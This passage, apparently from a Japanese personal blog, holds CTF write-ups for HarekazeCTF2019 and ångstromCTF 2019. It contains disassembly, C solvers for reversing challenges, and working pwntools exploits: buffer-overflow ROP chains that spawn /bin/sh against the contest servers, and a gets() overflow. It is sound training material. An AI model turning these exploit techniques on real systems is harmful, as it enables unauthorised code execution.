眠いので寝ます

お勉強のメモを置いていこうと思いまふ

HarekazeCTF2019 writeup

HarekazeCTF2019のwriteupを少し。

Rev

scramble (100pt)

バイナリファイルが配られる

$file scramble

scramble: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=dd3474e9169df7fc3a523390296856f9a2f07ca5, not stripped

gdb

gdb$pdisas main
   0x0000000000000680 <+0>:	push   rbx
   0x0000000000000681 <+1>:	lea    rsi,[rip+0x36c]        # 0x9f4
   0x0000000000000688 <+8>:	mov    edi,0x1
   0x000000000000068d <+13>:	sub    rsp,0x30
   0x0000000000000691 <+17>:	mov    rax,QWORD PTR fs:0x28
   0x000000000000069a <+26>:	mov    QWORD PTR [rsp+0x28],rax
   0x000000000000069f <+31>:	xor    eax,eax
   0x00000000000006a1 <+33>:	mov    rbx,rsp
   0x00000000000006a4 <+36>:	call   0x650 <__printf_chk@plt>
   0x00000000000006a9 <+41>:	lea    rdi,[rip+0x34d]        # 0x9fd
   0x00000000000006b0 <+48>:	mov    rsi,rbx
   0x00000000000006b3 <+51>:	xor    eax,eax
   0x00000000000006b5 <+53>:	call   0x660 <__isoc99_scanf@plt>
   0x00000000000006ba <+58>:	mov    rdi,rbx
   0x00000000000006bd <+61>:	call   0x860 <scramble>
   0x00000000000006c2 <+66>:	mov    rdx,QWORD PTR [rsp+0x8]
   0x00000000000006c7 <+71>:	mov    rax,QWORD PTR [rsp]
   0x00000000000006cb <+75>:	xor    rdx,QWORD PTR [rip+0x200956]        # 0x201028 <encrypted+8>
   0x00000000000006d2 <+82>:	xor    rax,QWORD PTR [rip+0x200947]        # 0x201020 <encrypted>
   0x00000000000006d9 <+89>:	or     rdx,rax
   0x00000000000006dc <+92>:	jne    0x6fb <main+123>
   0x00000000000006de <+94>:	mov    rdx,QWORD PTR [rsp+0x18]
   0x00000000000006e3 <+99>:	mov    rax,QWORD PTR [rsp+0x10]
   0x00000000000006e8 <+104>:	xor    rdx,QWORD PTR [rip+0x200949]        # 0x201038 <encrypted+24>
   0x00000000000006ef <+111>:	xor    rax,QWORD PTR [rip+0x20093a]        # 0x201030 <encrypted+16>
   0x00000000000006f6 <+118>:	or     rdx,rax
   0x00000000000006f9 <+121>:	je     0x71f <main+159>
   0x00000000000006fb <+123>:	lea    rdi,[rip+0x309]        # 0xa0b
   0x0000000000000702 <+130>:	call   0x630 <puts@plt>
   0x0000000000000707 <+135>:	xor    eax,eax
   0x0000000000000709 <+137>:	mov    rcx,QWORD PTR [rsp+0x28]
   0x000000000000070e <+142>:	xor    rcx,QWORD PTR fs:0x28
   0x0000000000000717 <+151>:	jne    0x745 <main+197>
   0x0000000000000719 <+153>:	add    rsp,0x30
   0x000000000000071d <+157>:	pop    rbx
   0x000000000000071e <+158>:	ret    
   0x000000000000071f <+159>:	mov    eax,DWORD PTR [rip+0x20091b]        # 0x201040 <encrypted+32>
   0x0000000000000725 <+165>:	cmp    DWORD PTR [rbx+0x20],eax
   0x0000000000000728 <+168>:	jne    0x6fb <main+123>
   0x000000000000072a <+170>:	movzx  eax,WORD PTR [rip+0x200913]        # 0x201044 <encrypted+36>
   0x0000000000000731 <+177>:	cmp    WORD PTR [rbx+0x24],ax
   0x0000000000000735 <+181>:	jne    0x6fb <main+123>
   0x0000000000000737 <+183>:	lea    rdi,[rip+0x2c4]        # 0xa02
   0x000000000000073e <+190>:	call   0x630 <puts@plt>
   0x0000000000000743 <+195>:	jmp    0x707 <main+135>
   0x0000000000000745 <+197>:	call   0x640 <__stack_chk_fail@plt>

scanf("%38s", )で38文字分の入力をscramble関数の引数に渡している。おそらくその関数がエンコードしてencryptedというシンボル名から始まるデータと何回かに分けて比較している。

方針としてはrevの100pt問題でそんなに難しくなさそうなので、angrでスクリプトを書いて見たが、まだangrがうまく使いこなせなく、解けず。仕方ないのでscramble関数を読んで見るが、レジスタも多用していて、かなり読みづらい。なのでghidraのデコンパイル機能を使って見ることに。少しghidraは触ったことがあったので良かった。

f:id:kam1tsur3:20190519183024p:plain

おそらくあまり参考にならない画像。てか参考にしないほうがいい。
変数の名前を自分で変えたりしたが、あまりデコンパイラ使って解析をしたことがなかったので、名前のつけ方がナンセンスすぎた。input[]などと配列っぽく名付けてしまったために、その値が動的に変化するものだと自分でも勘違いしてしまい、かなりデコードするコードを書くのに手間がかかった。

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

char encrypted[38] = {0x1f, 0x7c, 0x2c, 0x46, 0x2f, 0x44, 0x02, 0x0e,
                      0x6c, 0x29, 0x2a, 0x73, 0x79, 0x31, 0x04, 0x1b,
                      0x50, 0x6e, 0x6b, 0x6e, 0x34, 0x3d, 0x27, 0x77,
                      0x7a, 0x6d, 0x58, 0x12, 0x39, 0x6c, 0x2f, 0x7f,
                      0x23, 0x0b, 0x2c, 0x5a, 0x77, 0x3d};
int table[1064/4];
int main(){
    int i;
   
    int fd = open("./scramble", O_RDONLY);
    if(fd < 0){
        printf("open error\n");
        exit(1);
    }

    lseek(fd, 0x1060, 0);
    for(i = 0; i < 1064/4; i++){
        tmp = 0;
        read(fd, &table[i], 4);
    }

    char flag1, flag2;
    unsigned int var2, var3;

    for(i = 0x10a-1; i >= 0;i-- ){
        var2 = 1 << (i%7);
        var3 = 1 << (table[i]%7);
        if(encrypted[table[i]/7] & var3)flag1 = 1;
        else
            flag1 = 0;
        if(encrypted[i/7] & var2)flag2 = 1;
        else flag2 = 0;

        if(flag1)
            encrypted[i/7] |= var2;
        else
            encrypted[i/7] &= ~var2;

        if(flag2)
            encrypted[table[i]/7] |= var3;
        else
            encrypted[table[i]/7] &= ~var3;
    }

    printf("%s\n", encrypted);
    return 0;
}

FLAG:HarekazeCTF{3nj0y_h4r3k4z3_c7f_2019!!}

Pwn

Baby ROP(100pt)

問題文
The program is running on Ubuntu 16.04.

静的解析

$file babyrop

babyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=b5a3b2575c451140ec967fd78cf8a60f2b7ef17f, not stripped

$checksec.sh --file ./babyrop

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   babyrop

省略するがgdbで見るとbof脆弱性。問題バイナリ内にsystem関数のpltと/bin/shの文字列があったので、それを利用してropする。またrpでpop rdiのガジェットを探す。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "problem.harekaze.com"
PORT = 20001
conn = None

if len(sys.argv) > 1 and sys.argv[1] == 'r':
	conn = remote(HOST, PORT)
else:
	conn = process('./babyrop')

bufsize = 0x10 + 8
system_plt = 0x400490
rdi_ret = 0x400683
binsh = 0x601048

payload = "A"*bufsize
payload += p64(rdi_ret)
payload += p64(binsh)
payload += p64(system_plt)

conn.recvuntil('name?')
conn.sendline(payload)

conn.interactive()

FLAG:HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn}

Baby ROP2(200pt)

問題バイナリとlibcが配布される。

静的解析

$file babyrop2

babyrop2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=fab931b976ae2ff40aa1f5d1926518a0a31a8fd7, not stripped

$checksec.sh --file ./babyrop2

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   ./babyrop2

またしてもbof脆弱性。問題文の通り。しかし、先ほどと違ってsystem@pltはなく、/bin/shの文字列のバイナリ内にはない。

方針はprintf("%s", setvbuf@got)にreturnするように引数をセットして、libcのベースを求めつつ、その後main関数にreturnするようにする。
二回目のmain関数で求めたlibcのベースから計算したsystemのアドレスとlibc内の/bin/shのアドレスを使用してsystem("/bin/sh")を呼び出す

コードとても汚くて、一連の流れを関数にしてやったほうがいいとは思ったんだが、そんなに長くもならそうなので愚直に書いた。許してください。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'
		
HOST = "problem.harekaze.com"
PORT = 20005 
conn = None

if len(sys.argv) > 1 and sys.argv[1] == 'r':
	conn = remote(HOST, PORT)
else:
	conn = process('./babyrop2')

printf_plt = 0x4004f0
setvbuf_got = 0x601030
main_addr = 0x400636

buf_size = 0x20+8

#in libc.so.6
binsh_off = 0x18cd57
system_off = 0x45390 
setvbuf_off = 0x6fe70

rdi_ret = 0x400733
rsi_r15_ret = 0x400731

ps = 0x400770 # strings including "%s"

payload = "A"*buf_size
payload += p64(rdi_ret)
payload += p64(ps)
payload += p64(rsi_r15_ret)
payload += p64(setvbuf_got)
payload += p64(0)
payload += p64(printf_plt)
payload += p64(main_addr)

conn.recvuntil('name? ')
conn.sendline(payload)
conn.recvline()
info = conn.recvline()
setvbuf_libc = info.split(", ")[1].split("!")[0]

setvbuf_libc = u64(setvbuf_libc + "\x00"*(8-len(setvbuf_libc)))
libc_base = setvbuf_libc - setvbuf_off
system_libc = libc_base + system_off
binsh_libc = libc_base + binsh_off

conn.recvuntil('name? ')
payload = "A"*buf_size
payload += p64(rdi_ret)
payload += p64(binsh_libc)
payload += p64(system_libc)

conn.sendline(payload)

conn.interactive()

FLAG:HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng}

ん、use bss segmentか。他の回答としてはread関数にreturnしてbss領域の固定番地に/bin/shを書き込んでそれを使うってのもありそう。まああんまり変わらないけど。

まとめ

開催期間時間があまり割けず、これ以外の問題も少し見たんだが、時間がこれよりかかりそうだと思いじっくりと考えることができなかった。時間がたっぷりあればあまり解かれていないpwnの問題とかも挑戦して見たかった(解けるとは言っていない)。

Harekazeさん開催ありがとうございました。とても楽しかった。

ångstromCTF writeup

ångstromCTFで僕が解いた問題のwriteup

pwnとrevとmiscを少しずつ

今回のctfはpicoctfの時みたいに各チームにアカウントが配られログインできるサーバーがある。そこに色々問題が置かれている。
ブラウザからもログインできるシェルもある。

Rev

Intro to Rev(10pt)

とりあえずログインして実行すると、どうすればいいか書いてあった。

team***@actf:/problems/2019/intro_to_rev$ ./intro_to_rev
Welcome to your first reversing challenge!

If you are seeing this, then you already ran the file! Let's try some input next.
Enter the word 'angstrom' to continue:
angstrom
Good job! Some programs might also want you to enter information with a command line argument.

When you run a file, command line arguments are given by running './introToRev argument1 argument2' where you replace each argument with a desired string.

To get the flag for this problem, run this file again with the arguments 'binary' and 'reversing' (don't put the quotes).

team***@actf:/problems/2019/intro_to_rev$ ./intro_to_rev binary reversing
Welcome to your first reversing challenge!

If you are seeing this, then you already ran the file! Let's try some input next.
Enter the word 'angstrom' to continue:
angstrom
Good job! Some programs might also want you to enter information with a command line argument.

When you run a file, command line arguments are given by running './introToRev argument1 argument2' where you replace each argument with a desired string.

Good job, now go solve some real problems!
actf{this_is_only_the_beginning}

FLAG:actf{this_is_only_the_beginning}

I Like It(40pt)

バイナリが配られるので読む。
fileコマンド

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev$ file ./i_like_it 
./i_like_it: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=aacf2043e5e2bf56d4b871b4ca1695b2db440a01, not stripped

とりあえずgdbで読む。

gdb-peda$pdisas main
...
...
   0x0000000000400791 <+42>:	mov    rdx,QWORD PTR [rip+0x2008d8]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400798 <+49>:	lea    rax,[rbp-0x20]
   0x000000000040079c <+53>:	mov    esi,0x14
   0x00000000004007a1 <+58>:	mov    rdi,rax
   0x00000000004007a4 <+61>:	call   0x400640 <fgets@plt>
   0x00000000004007a9 <+66>:	lea    rax,[rbp-0x20]
   0x00000000004007ad <+70>:	mov    rdi,rax
   0x00000000004007b0 <+73>:	call   0x400610 <strlen@plt>
   0x00000000004007b5 <+78>:	sub    rax,0x1
   0x00000000004007b9 <+82>:	mov    BYTE PTR [rbp+rax*1-0x20],0x0
   0x00000000004007be <+87>:	lea    rax,[rbp-0x20]
   0x00000000004007c2 <+91>:	lea    rsi,[rip+0x1a8]        # 0x400971
   0x00000000004007c9 <+98>:	mov    rdi,rax
   0x00000000004007cc <+101>:	call   0x400650 <strcmp@plt>
   0x00000000004007d1 <+106>:	test   eax,eax
   0x00000000004007d3 <+108>:	je     0x4007eb <main+132>
   0x00000000004007d5 <+110>:	lea    rdi,[rip+0x19f]        # 0x40097b
   0x00000000004007dc <+117>:	call   0x400600 <puts@plt>
   0x00000000004007e1 <+122>:	mov    edi,0x0
   0x00000000004007e6 <+127>:	call   0x400670 <exit@plt>
   0x00000000004007eb <+132>:	lea    rdi,[rip+0x1a0]        # 0x400992
   0x00000000004007f2 <+139>:	call   0x400600 <puts@plt>
   0x00000000004007f7 <+144>:	lea    rdi,[rip+0x1b2]        # 0x4009b0
   0x00000000004007fe <+151>:	call   0x400600 <puts@plt>
   0x0000000000400803 <+156>:	mov    rdx,QWORD PTR [rip+0x200866]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x000000000040080a <+163>:	lea    rax,[rbp-0x2c]
   0x000000000040080e <+167>:	mov    esi,0xc
   0x0000000000400813 <+172>:	mov    rdi,rax
   0x0000000000400816 <+175>:	call   0x400640 <fgets@plt>
   0x000000000040081b <+180>:	lea    rcx,[rbp-0x30]
   0x000000000040081f <+184>:	lea    rdx,[rbp-0x34]
   0x0000000000400823 <+188>:	lea    rax,[rbp-0x2c]
   0x0000000000400827 <+192>:	lea    rsi,[rip+0x1bf]        # 0x4009ed
   0x000000000040082e <+199>:	mov    rdi,rax
   0x0000000000400831 <+202>:	mov    eax,0x0
   0x0000000000400836 <+207>:	call   0x400660 <__isoc99_sscanf@plt>
   0x000000000040083b <+212>:	mov    edx,DWORD PTR [rbp-0x34]
   0x000000000040083e <+215>:	mov    eax,DWORD PTR [rbp-0x30]
   0x0000000000400841 <+218>:	add    eax,edx
   0x0000000000400843 <+220>:	cmp    eax,0x88
   0x0000000000400848 <+225>:	jne    0x400864 <main+253>
   0x000000000040084a <+227>:	mov    edx,DWORD PTR [rbp-0x34]
   0x000000000040084d <+230>:	mov    eax,DWORD PTR [rbp-0x30]
   0x0000000000400850 <+233>:	imul   eax,edx
   0x0000000000400853 <+236>:	cmp    eax,0xec7
   0x0000000000400858 <+241>:	jne    0x400864 <main+253>
   0x000000000040085a <+243>:	mov    edx,DWORD PTR [rbp-0x34]
   0x000000000040085d <+246>:	mov    eax,DWORD PTR [rbp-0x30]
   0x0000000000400860 <+249>:	cmp    edx,eax
   0x0000000000400862 <+251>:	jl     0x40087a <main+275>
...
gdb-peda$ x/15s 0x400971
0x400971:	"okrrrrrrr"
0x40097b:	"Cardi don't lik"...
0x40098a:	"e that."
0x400992:	"I said I like i"...
0x4009a1:	"t like that!"
0x4009ae:	""
0x4009af:	""
0x4009b0:	"I like two inte"...
0x4009bf:	"gers that I'm t"...
0x4009ce:	"hinking of (spa"...
0x4009dd:	"ce separated): "
0x4009ec:	""
0x4009ed:	"%d %d"
0x4009f3:	"Flag: actf{%s_%"...
0x400a02:	"d_%d}\n"

最初のfgetsで0x400971からの文字列と比較、一致すれば、fgetsからの入力をsscanfのフォーマット"%d %d"で二つの10進数を入力する。二つの入力をa,bとするとそのあとのアセンブリより
a+b = 0x88
a*b = 0xec7
a < bであることがわかるのでこれを解く。a = 39, b = 97

FLAG:actf{okrrrrrrr_39_97}

One Bite(60pt)

fileコマンド

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/one_b$ file one_bite 
one_bite: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=3f2e0bf29ac3cda06d867b815711a05358eab373, not stripped

ディスアセンブルで大事なところを載せる

gdb-peda$pdisas main
...
...
   0x00000000004006a2 <+43>:	mov    rdx,QWORD PTR [rip+0x2009a7]        # 0x601050 <stdin@@GLIBC_2.2.5>
   0x00000000004006a9 <+50>:	lea    rax,[rbp-0x40]
   0x00000000004006ad <+54>:	mov    esi,0x22
   0x00000000004006b2 <+59>:	mov    rdi,rax
   0x00000000004006b5 <+62>:	call   0x400570 <fgets@plt>
   0x00000000004006ba <+67>:	mov    DWORD PTR [rbp-0x4c],0x0
   0x00000000004006c1 <+74>:	jmp    0x4006df <main+104>
   0x00000000004006c3 <+76>:	mov    eax,DWORD PTR [rbp-0x4c]
   0x00000000004006c6 <+79>:	cdqe   
   0x00000000004006c8 <+81>:	movzx  eax,BYTE PTR [rbp+rax*1-0x40]
   0x00000000004006cd <+86>:	xor    eax,0x3c
   0x00000000004006d0 <+89>:	mov    edx,eax
   0x00000000004006d2 <+91>:	mov    eax,DWORD PTR [rbp-0x4c]
   0x00000000004006d5 <+94>:	cdqe   
   0x00000000004006d7 <+96>:	mov    BYTE PTR [rbp+rax*1-0x40],dl
   0x00000000004006db <+100>:	add    DWORD PTR [rbp-0x4c],0x1
   0x00000000004006df <+104>:	mov    eax,DWORD PTR [rbp-0x4c]
   0x00000000004006e2 <+107>:	movsxd rbx,eax
   0x00000000004006e5 <+110>:	lea    rax,[rbp-0x40]
   0x00000000004006e9 <+114>:	mov    rdi,rax
   0x00000000004006ec <+117>:	call   0x400550 <strlen@plt>
   0x00000000004006f1 <+122>:	cmp    rbx,rax
   0x00000000004006f4 <+125>:	jb     0x4006c3 <main+76>
   0x00000000004006f6 <+127>:	lea    rax,[rip+0x103]        # 0x400800
   0x00000000004006fd <+134>:	mov    QWORD PTR [rbp-0x48],rax
   0x0000000000400701 <+138>:	mov    rdx,QWORD PTR [rbp-0x48]
   0x0000000000400705 <+142>:	lea    rax,[rbp-0x40]
   0x0000000000400709 <+146>:	mov    rsi,rdx
   0x000000000040070c <+149>:	mov    rdi,rax
   0x000000000040070f <+152>:	call   0x400580 <strcmp@plt>
...
...
gdb-peda$ x/34bx 0x400800
0x400800:	0x5d	0x5f	0x48	0x5a	0x47	0x55	0x63	0x48
0x400808:	0x54	0x55	0x52	0x57	0x63	0x55	0x51	0x63
0x400810:	0x5b	0x53	0x55	0x52	0x5b	0x63	0x48	0x53
0x400818:	0x63	0x5e	0x59	0x63	0x4f	0x55	0x5f	0x57
0x400820:	0x41	0x00

入力を1文字ずつ^=0x3cして、0x400800と比較している。つまりこういうことだ。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main()
{
	char flag [0x21] = {0x5d, 0x5f, 0x48, 0x5a, 0x47, 0x55, 0x63, 0x48,
			    0x54, 0x55, 0x52, 0x57, 0x63, 0x55, 0x51, 0x63,
			    0x5b ,0x53, 0x55, 0x52, 0x5b, 0x63, 0x48, 0x53,
			    0x63, 0x5e ,0x59, 0x63, 0x4f, 0x55, 0x5f, 0x57,
			    0x41};
	int i ;
	for(i = 0; i < 0x21; i++){
		printf("%c", flag[i] ^ 0x3c);
	}
	printf("\n");
	return 0;
}

flagの配列はこのくらいの長さなら手で打ち込めるが、長い場合はopenやlseek等を使って抽出した方がもちろんいい。

FLAG: actf{i_think_im_going_to_be_sick}

High Quality Checks(110pt)

fileコマンド

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/high_q_check$ file high_q 
high_q: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=e7556b55e0c73b4de8b3f387571dd59c3535a0ee, not stripped

これはもうゴリゴリ読んだ。関数がめちゃくちゃあったから大変だった。こういうのはangrみたいなシンボリック実行ツールがあると楽なんだが、まだ使いこなせていない。復習にangrで解こうと思う。

FLAG: actf忘れた

icthyo(130pt)

libpngを使った面白い問題だった。なんかリバースエンジニアリングって感じがした。結局はcrackmeと同じくinputの文字列に依存するものだったけども。

配られるファイルは実行バイナリとout.png

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/ict$ file icthyo 
icthyo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=a390bbd4f8eff8fbbd02411a754ded08162de918, not stripped

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/ict$ ./icthyo 
USAGE: ./icthyo in.png out.png

第一引数にpngファイルを指定し、第3引数のファイル名でpngファイルを作成するようだ。今回は作成されたout.pngが配られたみたい。

gdbで見るとread_file関数でin.pngを読み込んで、pngファイルを扱う構造体の初期化を行う感じ、encode関数で読み込んだpngファイルのbitをいじる。write_file関数でいじったやつを新たにpngファイルとして作成する、って感じだ。

encode関数のなかでrandom関数とかを呼んだりしているが、そこの部分は関係なくて、fgetsの入力でbitが操作される部分を見れば十分。大事な部分のディスアセンブリを載せる。

gdb-peda$ pdisas encode
....
....
   0x0000000000401025 <+338>:	mov    DWORD PTR [rbp-0x130],0x0
   0x000000000040102f <+348>:	jmp    0x401104 <encode+561>
   0x0000000000401034 <+353>:	mov    edx,DWORD PTR [rbp-0x130]
   0x000000000040103a <+359>:	mov    eax,edx
   0x000000000040103c <+361>:	add    eax,eax
   0x000000000040103e <+363>:	add    eax,edx
   0x0000000000401040 <+365>:	shl    eax,0x5
   0x0000000000401043 <+368>:	movsxd rdx,eax
   0x0000000000401046 <+371>:	mov    rax,QWORD PTR [rbp-0x128]
   0x000000000040104d <+378>:	add    rax,rdx
   0x0000000000401050 <+381>:	mov    QWORD PTR [rbp-0x120],rax
   0x0000000000401057 <+388>:	mov    eax,DWORD PTR [rbp-0x138]
   0x000000000040105d <+394>:	cdqe   
   0x000000000040105f <+396>:	movzx  eax,BYTE PTR [rbp+rax*1-0x110]
   0x0000000000401067 <+404>:	movsx  edx,al
   0x000000000040106a <+407>:	mov    eax,DWORD PTR [rbp-0x130]
   0x0000000000401070 <+413>:	mov    ecx,eax
   0x0000000000401072 <+415>:	sar    edx,cl
   0x0000000000401074 <+417>:	mov    eax,edx
   0x0000000000401076 <+419>:	and    eax,0x1
   0x0000000000401079 <+422>:	mov    DWORD PTR [rbp-0x12c],eax
   0x000000000040107f <+428>:	mov    rax,QWORD PTR [rbp-0x120]
   0x0000000000401086 <+435>:	add    rax,0x2
   0x000000000040108a <+439>:	movzx  eax,BYTE PTR [rax]
   0x000000000040108d <+442>:	movzx  eax,al
   0x0000000000401090 <+445>:	and    eax,0x1
   0x0000000000401093 <+448>:	test   eax,eax
   0x0000000000401095 <+450>:	je     0x4010b5 <encode+482>
   0x0000000000401097 <+452>:	mov    rax,QWORD PTR [rbp-0x120]
   0x000000000040109e <+459>:	add    rax,0x2
   0x00000000004010a2 <+463>:	movzx  edx,BYTE PTR [rax]
   0x00000000004010a5 <+466>:	mov    rax,QWORD PTR [rbp-0x120]
   0x00000000004010ac <+473>:	add    rax,0x2
   0x00000000004010b0 <+477>:	xor    edx,0x1
   0x00000000004010b3 <+480>:	mov    BYTE PTR [rax],dl
   0x00000000004010b5 <+482>:	mov    rax,QWORD PTR [rbp-0x120]
   0x00000000004010bc <+489>:	add    rax,0x2
   0x00000000004010c0 <+493>:	movzx  eax,BYTE PTR [rax]
   0x00000000004010c3 <+496>:	mov    ecx,eax
   0x00000000004010c5 <+498>:	mov    rax,QWORD PTR [rbp-0x120]
   0x00000000004010cc <+505>:	movzx  edx,BYTE PTR [rax]
   0x00000000004010cf <+508>:	mov    rax,QWORD PTR [rbp-0x120]
   0x00000000004010d6 <+515>:	add    rax,0x1
   0x00000000004010da <+519>:	movzx  eax,BYTE PTR [rax]
   0x00000000004010dd <+522>:	xor    eax,edx
   0x00000000004010df <+524>:	and    eax,0x1
   0x00000000004010e2 <+527>:	mov    edx,eax
   0x00000000004010e4 <+529>:	mov    eax,DWORD PTR [rbp-0x12c]
   0x00000000004010ea <+535>:	xor    eax,edx
   0x00000000004010ec <+537>:	or     ecx,eax
   0x00000000004010ee <+539>:	mov    edx,ecx
   0x00000000004010f0 <+541>:	mov    rax,QWORD PTR [rbp-0x120]
   0x00000000004010f7 <+548>:	add    rax,0x2
   0x00000000004010fb <+552>:	mov    BYTE PTR [rax],dl
   0x00000000004010fd <+554>:	add    DWORD PTR [rbp-0x130],0x1
   0x0000000000401104 <+561>:	cmp    DWORD PTR [rbp-0x130],0x7
   0x000000000040110b <+568>:	jle    0x401034 <encode+353>
   0x0000000000401111 <+574>:	add    DWORD PTR [rbp-0x138],0x1
   0x0000000000401118 <+581>:	cmp    DWORD PTR [rbp-0x138],0xff
   0x0000000000401122 <+591>:	jle    0x400f3f <encode+108>
   0x0000000000401128 <+597>:	nop
...
...
...

libpngのpng_infoやpng_structについての詳細は省略する。実行バイナリに倣って、使ったこともないlibpngを使ってsolve.cを書こう。

//solve.c
#include <stdio.h>
#include <stdlib.h>
#include <png.h>

int main(int argc, char** argv)
{
	FILE* fp;
	png_structp png_ptr;
	png_infop info_ptr;
	unsigned long width, height;
	unsigned long** rows;		
	int i, j, k;
	
	fp = fopen(argv[1], "rb");
	png_ptr = png_create_read_struct("1.6.34", 0, 0, 0);
	info_ptr = png_create_info_struct(png_ptr);
	png_init_io(png_ptr, fp);
	png_read_info(png_ptr,info_ptr);
	rows = (png_bytepp)malloc(0x800);
	for(i = 0; i <= 0xff; i++){
		rows[i] = (png_bytep)malloc(png_get_rowbytes(png_ptr, info_ptr));
	}
	png_read_image(png_ptr, rows);
	
	char* _x120;
	char tmp;
	char pt;
	
	for(i = 0; i <= 0xff; i++){
		tmp = 0;
		pt = 0;
		for(k = 0; k <= 7; k++){
			_x120 = (char*)(((unsigned long) *(rows+i)) + k*3*32);
			tmp = *(_x120+2) & 0x1;
			tmp ^= (*(_x120)^*(_x120+1))&0x1;
			pt |= tmp << k;
		}
		printf("%c", pt);
	}
	return 0;
}

FLAG:actf{lurking_in_the_depths_of_random_bits}

pwn

Aquarium(50pt)

cのソースコードも配られ良心的。
バイナリ情報

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/aquarium$ checksec.sh --file aquarium
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   aquarium

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/aquarium$ file aquarium
aquarium: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=d83c04fed4657a5e5675412f5a2568c6850c0f70, not stripped
//aquarium.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
	system("/bin/cat flag.txt");
}

struct fish_tank {
	char name[50];
	int fish;
	int fish_size;
	int water;
	int width;
	int length;
	int height;
};


struct fish_tank create_aquarium() {
	struct fish_tank tank;

	printf("Enter the number of fish in your fish tank: ");
	scanf("%d", &tank.fish);
	getchar();

	printf("Enter the size of the fish in your fish tank: ");
	scanf("%d", &tank.fish_size);
	getchar();

	printf("Enter the amount of water in your fish tank: ");
	scanf("%d", &tank.water);
	getchar();

	printf("Enter the width of your fish tank: ");
	scanf("%d", &tank.width);
	getchar();

	printf("Enter the length of your fish tank: ");
	scanf("%d", &tank.length);
	getchar();

	printf("Enter the height of your fish tank: ");
	scanf("%d", &tank.height);
	getchar();

	printf("Enter the name of your fish tank: ");
	char name[50];
	gets(name);

	strcpy(name, tank.name);
	return tank;
}

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);

	struct fish_tank tank;

	tank = create_aquarium();

	if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) {
		printf("Your fish tank has overflowed!\n");
		return 1;
	}

	printf("Nice fish tank you have there.\n");

	return 0;
}

getsの脆弱性。オーバーフローが起こせそう。リターンアドレスをflag関数にしてやる。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

conn = ssh(host='shell.actf.co', user='team***', password='***')
conn.set_working_directory('/problems/2019/aquarium')
pro = conn.process('./aquarium')

flag_addr = 0x4011b6

payload = "A"*0x98
payload += p64(flag_addr)

pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline(payload)

pro.interactive()

FLAG:actf{overflowed_more_than_just_a_fish_tank}

Chain of Rope(80pt)

またcのコード付き
バイナリ情報

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/chain$ file chain_of_rope
chain_of_rope: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=064faad4fb2a3a1b7600f988df09e3d7dd9c44d5, not stripped

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/chain$ checksec.sh --file chain_of_rope
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   chain_of_rope
//chain_of_rope.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int userToken = 0;
int balance = 0;

int authorize () {
	userToken = 0x1337;
	return 0;
}

int addBalance (int pin) {
	if (userToken == 0x1337 && pin == 0xdeadbeef) {
		balance = 0x4242;
	} else {
		printf("ACCESS DENIED\n");
	}
	return 0;
}

int flag (int pin, int secret) {
